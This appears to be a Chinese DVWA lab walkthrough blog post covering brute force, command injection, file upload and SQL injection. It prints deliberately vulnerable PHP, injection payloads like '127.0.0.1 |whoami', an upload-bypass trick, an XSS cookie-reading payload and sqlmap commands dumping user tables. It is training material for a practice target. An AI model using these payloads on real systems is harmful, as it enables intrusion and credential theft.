DVWA通关教程

news2024/11/16 10:20:47

Brute Force

Low

先进行一下代码审计

<?php  
  
// 检查是否通过GET请求传递了'Login'参数(注意:这里应该是'username'或类似的,但代码逻辑有误)  
if( isset( $_GET[ 'Login' ] ) ) {  
    // 从GET请求中获取用户名  
    $user = $_GET[ 'username' ]; // 注意:这里应该是'$_GET['username']',但键名写错了  
  
    // 从GET请求中获取密码,并使用MD5算法进行哈希  
    $pass = $_GET[ 'password' ];  
    $pass = md5( $pass ); // MD5已不被认为是安全的哈希算法,不应在新开发的应用中使用  
  
    // 准备SQL查询语句,用于从数据库中查找用户  
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";  
    // 执行SQL查询,使用全局变量$GLOBALS["___mysqli_ston"]作为数据库连接  
    // 如果查询失败,则输出错误信息  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  
  
    // 检查查询结果是否存在且仅有一行(即一个匹配的用户)  
    if( $result && mysqli_num_rows( $result ) == 1 ) {  
        // 从结果集中获取用户详细信息  
        $row    = mysqli_fetch_assoc( $result );  
        $avatar = $row["avatar"]; // 获取用户的头像URL  
  
        // 登录成功,输出欢迎信息和用户头像  
        echo "<p>Welcome to the password protected area {$user}</p>";  
        echo "<img src=\"{$avatar}\" />";  
    }  
    else {  
        // 登录失败,输出错误信息  
        echo "<pre><br />Username and/or password incorrect.</pre>";  
    }  
  
    // 关闭数据库连接(尽管这里使用了三元运算符,但实际上并没有对结果进行任何处理)  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
}  
  
?>

先在这里说一下,这段php代码没有对输入进行任何的过滤,我们可以采用sql注入去爆破数据库登录,或者使用万能密码 比如 admin or 1 = 1 (原理是or只要前后成立一个即可),这题需要用单引号进行闭合注入

打开BP,进行抓包,输入用户名和密码(随意)

抓包分析,右键发送到intruder中

下面介绍一下BP的爆破方式

Sniper

单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换

在password的变蓝的地方添加playload

在这里配置字典,可以看到payload是password的时候长度有变化,所以password就是密码

Battering ram

 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的

我们可以看到没有一样的,说明没成功

Pichfork

 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配

可以看到当username = admin 并且password= password 是长度和其他的都不同,所以即使账户和密码

Cluster bamb

多参数做笛卡尔乘积模式爆破

可以明显的看到长度不一样

Medium

Medium步骤和low等级完全一样,主要是源码多了一点东西导致难度会提高一点,但无伤大雅,low等级能跑出来的Medium也能跑出来,接下来就让我们进行一下代码审计吧

<?php  
  
// 检查是否通过GET请求提交了Login参数  
if( isset( $_GET[ 'Login' ] ) ) {  
    // 从GET请求中获取用户名,但这里应该使用POST而不是GET来传输敏感信息  
    $user = $_GET[ 'username' ];  
  
    // 尝试对用户名进行转义,但依赖于全局变量___mysqli_ston,这不是一个好的做法  
    // 更好的做法是将数据库连接作为参数传递给函数或方法  
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
  
    // 从GET请求中获取密码,同样应该使用POST  
    $pass = $_GET[ 'password' ];  
  
    // 对密码进行转义,然后MD5加密。MD5不再被认为是安全的密码存储方式  
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
    $pass = md5( $pass );  
  
    // 构造SQL查询语句,但直接将变量插入SQL语句中是不安全的(SQL注入风险)  
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";  
  
    // 执行SQL查询,如果失败则显示错误信息  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  
  
    // 检查查询结果是否存在且只有一行  
    if( $result && mysqli_num_rows( $result ) == 1 ) {  
        // 获取用户信息  
        $row    = mysqli_fetch_assoc( $result );  
        $avatar = $row["avatar"];  
  
        // 登录成功,但输出用户信息到HTML中可能导致XSS攻击  
        echo "<p>Welcome to the password protected area {$user}</p>";  
        echo "<img src=\"{$avatar}\" />";  
    }  
    else {  
        // 登录失败,延迟2秒响应  
        sleep( 2 );  
        // 输出错误信息  
        echo "<pre><br />Username and/or password incorrect.</pre>";  
    }  
  
    // 关闭数据库连接,但这里的错误处理是多余的  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
}  
  
?>

High

high等级相较于Medium的变化是sleep(rand(0,3))函数随机休眠0到3秒,重点是增加了token值,这增加了难度,接下来看看我们怎么在有token验证的情况下获得正确的用户名和密码

<?php  
  
if( isset( $_GET[ 'Login' ] ) ) {  
    // 检查是否存在CSRF令牌,并与会话令牌匹配,以防止跨站请求伪造  
    // 假设checkToken函数已经定义,并接受请求令牌、会话令牌和失败时重定向的页面  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 清理用户名输入中的反斜杠  
    $user = $_GET[ 'username' ];  
    $user = stripslashes( $user );  
    // 使用mysqli_real_escape_string防止SQL注入,如果数据库连接存在  
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
  
    // 清理密码输入中的反斜杠  
    $pass = $_GET[ 'password' ];  
    $pass = stripslashes( $pass );  
    // 使用mysqli_real_escape_string防止SQL注入,然后加密密码  
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
    $pass = md5( $pass ); // 使用MD5加密密码,尽管这不是最佳实践(应使用更安全的哈希算法)  
  
    // 构造SQL查询语句  
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";  
    // 执行查询,如果失败则显示错误信息  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  
  
    if( $result && mysqli_num_rows( $result ) == 1 ) {  
        // 从结果中获取一行用户数据  
        $row    = mysqli_fetch_assoc( $result );  
        $avatar = $row["avatar"]; // 获取用户头像URL  
  
        // 登录成功  
        echo "<p>Welcome to the password protected area {$user}</p>";  
        echo "<img src=\"{$avatar}\" />"; // 显示用户头像  
    }  
    else {  
        // 登录失败,随机延迟0到3秒以减缓暴力破解攻击  
        sleep( rand( 0, 3 ) );  
        echo "<pre><br />Username and/or password incorrect.</pre>";  
    }  
  
    // 关闭数据库连接(尽管这里的结果赋值操作可能不是最佳实践)  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
}  
  
// 生成新的CSRF令牌并存储在会话中,以便下次请求时验证  
generateSessionToken();  
  
?>

进入payload模块第一个选择字典自己添加,第二个选择递归查询

找到Grep-Extract :这个设置能够被用来通过请求返回的信息来获取有用的信息供你使用,也就是说,可以通过它来获得每次请求后返回的Token,关联到Payload中进行暴力破解

在Payload Options中就可以看到自动加载过来的值,将请求包里user_token的值填入到Initial payload for first request(第一个请求的初始负载)中,也可不填,点击Start attack开启爆破!

如下成功了

Impossible

<?php  
  
// 检查是否提交了登录表单  
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {  
    // 检查Anti-CSRF令牌  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 清理用户名输入(尽管在PDO中不需要,但可能是从旧代码迁移而来)  
    $user = $_POST[ 'username' ];  
    $user = stripslashes( $user ); // 移除反斜杠(在魔术引号开启时有用,但现代PHP中已废弃)  
    // 尝试使用全局mysqli连接进行转义,否则报错  
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
  
    // 清理密码输入(同上)  
    $pass = $_POST[ 'password' ];  
    $pass = stripslashes( $pass );  
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
    $pass = md5( $pass ); // 使用MD5哈希密码(不推荐,因为MD5不安全)  
  
    // 设置默认值和变量  
    $total_failed_login = 3;  
    $lockout_time       = 15;  
    $account_locked     = false;  
  
    // 检查数据库中的用户信息  
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );  
    $data->bindParam( ':user', $user, PDO::PARAM_STR );  
    $data->execute();  
    $row = $data->fetch();  
  
    // 检查用户是否被锁定  
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {  
        // 计算用户何时可以重新登录  
        $last_login = strtotime( $row[ 'last_login' ] );  
        $timeout    = $last_login + ($lockout_time * 60);  
        $timenow    = time();  
  
        // 如果时间未到,则账户被锁定  
        if( $timenow < $timeout ) {  
            $account_locked = true;  
        }  
    }  
  
    // 检查用户名和密码是否匹配  
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );  
    $data->bindParam( ':user', $user, PDO::PARAM_STR);  
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );  
    $data->execute();  
    $row = $data->fetch();  
  
    // 如果登录有效且账户未锁定  
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {  
        // 获取用户详细信息  
        $avatar = $row[ 'avatar' ];  
        // ...(其他用户信息)  
  
        // 登录成功  
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";  
        // ...(其他成功消息)  
  
        // 重置登录失败次数  
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );  
        $data->bindParam( ':user', $user, PDO::PARAM_STR );  
        $data->execute();  
    } else {  
        // 登录失败  
        sleep( rand( 2, 4 ) ); // 延迟响应,可能是为了简单的DoS保护  
  
        // 给出反馈  
        echo "<pre><br />Username and/or password incorrect.<br /><br/>...</pre>";  
  
        // 更新登录失败次数  
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );  
        $data->bindParam( ':user', $user, PDO::PARAM_STR );  
        $data->execute();  
    }  
  
    // 更新最后登录时间  
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );  
    $data->bindParam( ':user', $user, PDO::PARAM_STR );  
    $data->execute();  
}  
  
// 生成Anti-CSRF令牌  
generateSessionToken();  
  
?>

关于暴力破解的防护

  1. 账户锁定:当登录失败次数超过一定阈值时(本例中为3次),账户将被锁定一段时间(本例中为15分钟)。这减少了暴力破解尝试的成功机会,因为攻击者需要等待账户解锁才能继续尝试。

  2. 延迟响应:在登录失败时,服务器会随机延迟响应(2到4秒)。这增加了攻击者进行大量尝试所需的时间,从而降低了暴力破解的效率。

  3. Anti-CSRF令牌:通过检查CSRF令牌,可以防止跨站请求伪造攻击,这虽然不是直接针对暴力破解的防护,但增强了系统的整体安全性。

然而,需要注意的是,MD5哈希密码是不安全的,因为它容易受到彩虹表攻击。建议使用更安全的哈希算法,如bcrypt。此外,代码中的stripslashesmysqli_real_escape_string在PDO环境下是多余的,因为PDO已经通过预处理语句和参数绑定来防止SQL注入。

Command Injection

Low

先来进行一下代码审计

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ]; //提交参数port,get和cookie都可以,获取IP地址

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {//判断是否为window系统,不是则为unix或者linux
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );//执行ping命令
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

可以看到这段代码先是获取了用户输入的IP地址,在获取了才做系统,我们可以尝试用&&,||等连接符号连起来

可以看到这里不仅执行ping 127.0.0.1的命令,还执行了whoami这条命令(它显示了当此命令被调用时当前用户的用户名),也可以执行其他的命令比如nestat -an

可以看到端口监听的状况、还有ipconfig,net user等等

Mediu

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );//这里把 &&和 ;给过滤了

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

我们可以用|| 或者& 等等

High

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );//这里几乎把所有的都过滤了

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

但仔细看|符号后面有个空格,所以我们构造

payload :127.0.0.1 |whoami

记住不要|和whoami之间不要有空格

Impossible

<?php  
  
// 检查是否通过POST方法提交了表单(特别是检查'Submit'按钮是否被点击)  
if( isset( $_POST[ 'Submit' ]  ) ) {  
  
    // 验证CSRF令牌以防止跨站请求伪造  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 从请求中获取IP地址  
    $target = $_REQUEST[ 'ip' ];  
  
    // 使用stripslashes函数去除字符串中的反斜杠(尽管在处理IP地址时可能不是必需的)  
    $target = stripslashes( $target );  
  
    // 使用explode函数以点(.)为分隔符将IP地址分割成四个部分(八位字节)  
    $octet = explode( ".", $target );  
  
    // 检查每个部分(八位字节)是否都是整数,并且数组的大小正好是4  
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {  
  
        // 如果所有四个部分都是整数,则将它们重新组合成IP地址  
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];  
  
        // 根据操作系统类型执行ping命令  
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {  
            // 如果是Windows系统,执行不带次数限制的ping命令  
            $cmd = shell_exec( 'ping  ' . $target );  
        }  
        else {  
            // 如果是*nix系统,执行带次数限制(4次)的ping命令  
            $cmd = shell_exec( 'ping  -c 4 ' . $target );  
        }  
  
        // 将ping命令的输出以预格式化的方式显示给用户  
        echo "<pre>{$cmd}</pre>";  
    }  
    else {  
        // 如果IP地址无效,显示错误信息  
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';  
    }  
}  
  
// 生成新的CSRF令牌并存储在会话中(注意:这里假设generateSessionToken函数负责这项工作)  
generateSessionToken();  
  
?>

IP地址验证:脚本通过分割和检查每个八位字节来验证输入的IP地址是否有效。然而,这种方法虽然基本,但并不完全安全,因为它没有检查每个八位字节是否在0到255的范围内。

在这个脚本中,没有直接对输出进行HTML转义,这可能导致跨站脚本攻击(XSS)的风险,尽管在这个特定的例子中,由于输出的是命令执行的结果,这种风险可能较低。然而,在将用户输入直接嵌入到HTML输出中时,始终应该进行转义。

Cross Site Request Forgery (CSRF)

Low 

Mediu

High

Impossible

File Inclusion

Low 

Mediu

High

Impossible

File Upload

Low 

首先我们准备一个一句话木马文件

 <?php phpinfo();?>

1、访问页面有一个文件上传点

image-20221027142832656

2、直接上传123.php

image-20221027142855827

3、访问文件

image-20221027142919741

Mediu

1、直接上传123.php文件

image-20221027142956206

2、修改123.php文件名为456.jpg,上传时通过burp抓取上传请求包,将456.jpg修改为456.php

image-20221027143222253

image-20221027143234791

3、上传成功 访问文件

image-20221027143259456

image-20221027143313110

High

1、当我们使用第二关的方式时,显示

2、查询后端源代码

strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string): 返回给定字符串的小写

对后缀名进行了判断

3、可通过文件包含漏洞结合使用,首先制作图片马

4、使用文件包含漏洞模块中的low关, 进行加载图片,成功解析

Impossible

if( isset( $_POST[ 'Upload' ] ) ) {  
    // 检查是否有上传表单提交  
}  
  
// 检查Anti-CSRF令牌  
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
// 此函数检查提交的CSRF令牌是否与会话中的令牌匹配,以防止跨站请求伪造  
  
// 获取上传文件的各项信息  
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];  
// 文件名  
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);  
// 文件扩展名  
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];  
// 文件大小  
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];  
// MIME类型  
$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];  
// 临时文件名  
  
// 目标路径  
$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';  
// 注意:DVWA_WEB_PAGE_TO_ROOT 是一个未在代码中定义的常量,应该是环境或配置文件中的定义  
  
// 生成目标文件名(使用md5确保唯一性)  
$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;  
  
// 临时文件的完整路径  
$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );  
$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;  
  
// 检查文件是否为图像文件  
if( ... ) {  
    // 检查文件扩展名、大小、MIME类型,并使用getimagesize验证图像文件  
}  
  
// 根据文件类型重新编码图像以剥离元数据  
if( $uploaded_type == 'image/jpeg' ) {  
    $img = imagecreatefromjpeg( $uploaded_tmp );  
    imagejpeg( $img, $temp_file, 100);  
} else {  
    $img = imagecreatefrompng( $uploaded_tmp );  
    imagepng( $img, $temp_file, 9);  
}  
imagedestroy( $img );  
// 这里使用GD库重新创建图像文件,以此移除可能存在的元数据  
  
// 将文件从临时目录移动到目标目录  
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {  
    // 如果移动成功,显示成功消息和链接  
} else {  
    // 如果移动失败,显示错误消息  
}  
  
// 删除临时文件  
if( file_exists( $temp_file ) )  
    unlink( $temp_file );  
  
// 无效文件类型时的错误消息  
else {  
    echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';  
}  
  
// 生成Anti-CSRF令牌(虽然在这个代码片段中位置有些靠后,但假设它在合适的位置被调用)  
generateSessionToken();

SQL Injection

Low 


<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>
payload:python sqlmap.py -u"http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low" --batch --dbs

上面的直接采用的sqlmap自动化注入

Mediu


<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

可以看到是POST提交,直接抓包,sqlmap具体看sql注入的盲注

High

看sql注入的盲注,

Impossible

<?php  
  
// 检查是否有名为'Submit'的GET请求参数,这通常用于表单提交后的验证  
if( isset( $_GET[ 'Submit' ] ) ) {  
    // 检查Anti-CSRF token  
    // 这是一个自定义函数,用于验证用户提交的表单是否包含有效的CSRF token  
    // 这样做可以防止跨站请求伪造攻击  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 从GET请求中获取'id'参数  
    $id = $_GET[ 'id' ];  
  
    // 检查是否输入了数字  
    // 这是为了确保用户输入的是有效的用户ID(假设用户ID是数字)  
    if(is_numeric( $id )) {  
        // 使用PDO准备SQL查询语句,以预防SQL注入攻击  
        // 这里使用了参数化查询来绑定变量  
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );  
  
        // 绑定参数':id'到变量$id,并指定参数类型为整数  
        $data->bindParam( ':id', $id, PDO::PARAM_INT );  
  
        // 执行SQL查询  
        $data->execute();  
  
        // 检查查询结果中的行数  
        if( $data->rowCount() == 1 ) {  
            // 如果找到一行结果,说明用户ID存在于数据库中  
            // 反馈给用户  
            echo '<pre>User ID exists in the database.</pre>';  
        }  
        else {  
            // 如果没有找到用户ID,则设置HTTP状态码为404,表示未找到页面  
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );  
  
            // 反馈给用户  
            echo '<pre>User ID is MISSING from the database.</pre>';  
        }  
    }  
}  
  
// 生成一个新的Anti-CSRF token并存储在会话中  
// 这也是一个自定义函数,用于在用户会话中创建一个唯一的token  
// 这个token会在表单提交时验证,以确保表单是由合法用户提交的  
generateSessionToken();  
  
?>
  1. CSRF保护:通过检查请求中的user_token与会话中存储的session_token是否一致,来防止CSRF攻击。

  2. SQL注入预防:使用PDO的预处理语句(prepared statement)和参数化查询来防止SQL注入攻击。

  3. 输入验证:通过is_numeric()函数检查用户输入的ID是否为数字,这是一种基本的输入验证方法。

SQL Injection (Blind)

Low 

<?php  
// 开始PHP代码块  
  
if( isset( $_GET[ 'Submit' ] ) ) {  
    // 检查是否存在名为'Submit'的GET请求参数,这通常意味着表单被提交了  
  
    // Get input  
    $id = $_GET[ 'id' ];  
    // 从GET请求中获取名为'id'的参数值,并将其存储在变量$id中  
  
    // Check database  
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";  
    // 构建一个SQL查询字符串,用于从'users'表中检索与给定$id相匹配的用户的'first_name'和'last_name'  
    // 注意:这里直接将$id插入到SQL查询中,存在SQL注入的风险  
  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid );  
    // 使用全局变量$GLOBALS["___mysqli_ston"](一个预定义的MySQLi连接)来执行上面构建的SQL查询  
    // mysqli_query()函数返回查询结果集,如果查询失败则返回false  
    // 注意:移除了'or die'部分以抑制MySQL错误,这不是一个好的做法,因为它会隐藏问题  
  
    // Get results  
    $num = @mysqli_num_rows( $result );  
    // 使用@操作符来抑制mysqli_num_rows()函数可能产生的任何错误  
    // mysqli_num_rows()函数返回结果集中的行数  
    // 如果$result不是有效的结果集或查询失败,这个调用可能失败,但由于@操作符,错误会被抑制  
  
    if( $num > 0 ) {  
        // 如果查询结果中的行数大于0,说明找到了匹配的用户ID  
  
        // Feedback for end user  
        echo '<pre>User ID exists in the database.</pre>';  
        // 向用户显示反馈,告知他们用户ID存在于数据库中  
    }  
    else {  
        // 如果没有找到匹配的用户ID  
  
        // User wasn't found, so the page wasn't!  
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );  
        // 设置HTTP头部信息,告诉浏览器这是一个404 Not Found错误  
        // 这通常用于指示请求的资源(在这种情况下是用户ID)不存在  
  
        // Feedback for end user  
        echo '<pre>User ID is MISSING from the database.</pre>';  
        // 尽管已经设置了404头部,但代码仍然继续执行并显示这条消息  
        // 这通常不是最佳实践,因为一旦设置了404头部,通常应该停止向客户端发送更多内容  
    }  
  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
    // 尝试关闭MySQLi连接,并将结果存储在变量$___mysqli_res中  
    // 然后,使用三元运算符检查$___mysqli_res是否为null  
    // 但实际上,这个三元运算符的结果没有被用于任何操作,这可能是一个无用的代码行  
    // 更好的做法是简单地调用mysqli_close()并忽略其返回值  
}  
  
?>  
// 结束PHP代码块

盲注直接采用sqlmap进行自动化注入

python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch --dbs

会302,因为当我们直接访问该链接的时候,会要求我们进行登录,故需要cookie值

怎末获取呢,我们可以在xss(reflected)这里进行爆cookie

payload:<a href=javascript:alert(document.cookie)>123456</a>

python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch --dbs --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆库
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch -D dvwa --tables --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆表
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch -D dvwa -T users --dump --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆字段

Mediu


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

可以看到提交方式是post所以我们需要抓包进行sqlmap的注入

python sqlmap.py -r"E://1.txt" -batch --dbs//爆库
python sqlmap.py -r"E://1.txt" -batch -D dvwa --tables //爆表
python sqlmap.py -r"E://1.txt" -batch -D dvwa -T users --dump //爆字段

1.txt里的是BP抓包的内容

High

<?php  
  
// 检查是否存在名为'id'的cookie  
if( isset( $_COOKIE[ 'id' ] ) ) {  
    // 从cookie中获取'id'的值  
